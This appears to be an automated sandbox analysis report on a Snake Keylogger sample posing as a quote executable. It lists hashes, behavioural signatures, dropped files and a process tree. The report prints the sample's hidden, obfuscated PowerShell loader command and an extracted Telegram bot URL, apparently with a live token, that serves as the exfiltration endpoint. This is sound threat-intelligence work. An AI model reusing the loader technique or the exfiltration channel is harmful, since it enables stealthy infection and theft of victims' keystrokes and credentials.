Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-11-2024 02:03

General

  • Target

    Offer-7839373637-8839373-Quote8992832.exe

  • Size

    767KB

  • MD5

    21a5378b2c78f66fff23ec764cba65f2

  • SHA1

    94e2921a8a2e47611c936235b5ba03feecf00fff

  • SHA256

    b23119bb95d44f50e52555f51c9931389d3d559b9f74e34041e9fa6bc2b7f481

  • SHA512

    885aaec0dea4fbf8d46da71bb34f776a8f212e99bf7da7082ef312a1936d46d5b59327c5650a50582df474cae7174dfafe3fa606876d218501f02cd3a25e05d0

  • SSDEEP

    12288:bMwhYlU9blucsKZ1XjfCTD/qp0xmk9qPARcQFY9fcNLqH66cOsFoTvGU5ZqLm:bMwhY+9blYKPGZx0PARxFWfcFqal/F4X

Malware Config

Extracted

Family

snakekeylogger

C2

https://api.telegram.org/bot7602241848:AAGOG1RAiVBKad-IMDgRf04J_SQO8x6g-hI/sendMessage?chat_id=5302361040

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 1 IoCs
  • Snakekeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Offer-7839373637-8839373-Quote8992832.exe
    "C:\Users\Admin\AppData\Local\Temp\Offer-7839373637-8839373-Quote8992832.exe"
    1⤵
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:228
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Electricizes=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\haandbog\Saganashes.Com';$Forbudsbestemmelses=$Electricizes.SubString(52619,3);.$Forbudsbestemmelses($Electricizes)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:764
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        PID:4580
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4580 -s 1520
          4⤵
          • Program crash
          PID:4364
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4580 -ip 4580
    1⤵
      PID:1368

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tx32gtve.qfy.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\haandbog\Placid.Sel

      Filesize

      307KB

      MD5

      1bed7803db687e44713436a3b1bfa9e7

      SHA1

      4b3780aac93d35e522adce172a3d2d84c8d471f4

      SHA256

      ca6d0e27587fce2950cba487f154c9c47e2c668dbeee96328eb439a08febf664

      SHA512

      dece7d3399b5fb0fca591eb8588cb1a3bd340019db3e376cd321bbfe6993c330af7171602758a20b268bb8572688d1270fe8b2f3f09fc22f72715868d237528a

    • C:\Users\Admin\AppData\Local\Temp\haandbog\Saganashes.Com

      Filesize

      51KB

      MD5

      86971efe48eae4401b734e86152c12aa

      SHA1

      93376b7df5fa9f5d363e263dd898b86e42e40ec0

      SHA256

      8e626d6dc0bb24ed272eaec732b70f81e306c38eba28df9e96ce78d61a75e455

      SHA512

      a04489dfa81e2fe20f1a8f07c562ed4a05f85b74d5745d6cb712252a46f997a7de6c9f11c3fa902c7c7b03f6ff8596e89e064c251b6a348dfb0d3b7ff6a02455

    • C:\Users\Admin\AppData\Local\orts.lnk

      Filesize

      1KB

      MD5

      1e1bef69f6339ea740335ecfb0cd1b61

      SHA1

      3279a04e17a07bb927a5cd371179e7dce3dc8df6

      SHA256

      78848c5cfe3a4af9dd67afde510b7ba4cfc9c3051e23a96daf1c8869f335d61d

      SHA512

      fbfe13937a82109a82d8f3a0d2a703171028440ad48cdeb4941c411d0c94b0f2d1de9f1080ae7b76a1d5d754716753588e89bad764e244217959fb703b7b1809

    • memory/764-198-0x0000000073C30000-0x00000000743E0000-memory.dmp

      Filesize

      7.7MB

    • memory/764-210-0x0000000073C30000-0x00000000743E0000-memory.dmp

      Filesize

      7.7MB

    • memory/764-176-0x0000000005E30000-0x0000000005E96000-memory.dmp

      Filesize

      408KB

    • memory/764-177-0x0000000005EA0000-0x0000000005F06000-memory.dmp

      Filesize

      408KB

    • memory/764-174-0x0000000005700000-0x0000000005D28000-memory.dmp

      Filesize

      6.2MB

    • memory/764-187-0x00000000060C0000-0x0000000006414000-memory.dmp

      Filesize

      3.3MB

    • memory/764-188-0x0000000006510000-0x000000000652E000-memory.dmp

      Filesize

      120KB

    • memory/764-189-0x0000000006A80000-0x0000000006ACC000-memory.dmp

      Filesize

      304KB

    • memory/764-190-0x00000000075C0000-0x0000000007656000-memory.dmp

      Filesize

      600KB

    • memory/764-191-0x00000000069E0000-0x00000000069FA000-memory.dmp

      Filesize

      104KB

    • memory/764-192-0x0000000006A30000-0x0000000006A52000-memory.dmp

      Filesize

      136KB

    • memory/764-193-0x0000000007C10000-0x00000000081B4000-memory.dmp

      Filesize

      5.6MB

    • memory/764-173-0x0000000073C30000-0x00000000743E0000-memory.dmp

      Filesize

      7.7MB

    • memory/764-195-0x0000000008840000-0x0000000008EBA000-memory.dmp

      Filesize

      6.5MB

    • memory/764-172-0x0000000004F40000-0x0000000004F76000-memory.dmp

      Filesize

      216KB

    • memory/764-197-0x00000000700C0000-0x000000007010C000-memory.dmp

      Filesize

      304KB

    • memory/764-209-0x00000000079A0000-0x00000000079BE000-memory.dmp

      Filesize

      120KB

    • memory/764-175-0x0000000005560000-0x0000000005582000-memory.dmp

      Filesize

      136KB

    • memory/764-199-0x0000000070220000-0x0000000070574000-memory.dmp

      Filesize

      3.3MB

    • memory/764-211-0x00000000079D0000-0x0000000007A73000-memory.dmp

      Filesize

      652KB

    • memory/764-196-0x0000000007960000-0x0000000007992000-memory.dmp

      Filesize

      200KB

    • memory/764-212-0x0000000007AD0000-0x0000000007ADA000-memory.dmp

      Filesize

      40KB

    • memory/764-213-0x0000000007B10000-0x0000000007B3A000-memory.dmp

      Filesize

      168KB

    • memory/764-214-0x0000000007B40000-0x0000000007B64000-memory.dmp

      Filesize

      144KB

    • memory/764-215-0x0000000073C30000-0x00000000743E0000-memory.dmp

      Filesize

      7.7MB

    • memory/764-217-0x0000000073C30000-0x00000000743E0000-memory.dmp

      Filesize

      7.7MB

    • memory/764-171-0x0000000073C3E000-0x0000000073C3F000-memory.dmp

      Filesize

      4KB

    • memory/764-219-0x0000000073C30000-0x00000000743E0000-memory.dmp

      Filesize

      7.7MB

    • memory/764-220-0x0000000073C3E000-0x0000000073C3F000-memory.dmp

      Filesize

      4KB

    • memory/764-221-0x0000000073C30000-0x00000000743E0000-memory.dmp

      Filesize

      7.7MB

    • memory/764-222-0x0000000008EC0000-0x000000000C7AC000-memory.dmp

      Filesize

      56.9MB

    • memory/764-223-0x0000000073C30000-0x00000000743E0000-memory.dmp

      Filesize

      7.7MB

    • memory/764-224-0x0000000073C30000-0x00000000743E0000-memory.dmp

      Filesize

      7.7MB

    • memory/764-226-0x0000000073C30000-0x00000000743E0000-memory.dmp

      Filesize

      7.7MB

    • memory/4580-227-0x0000000000CE0000-0x0000000001F34000-memory.dmp

      Filesize

      18.3MB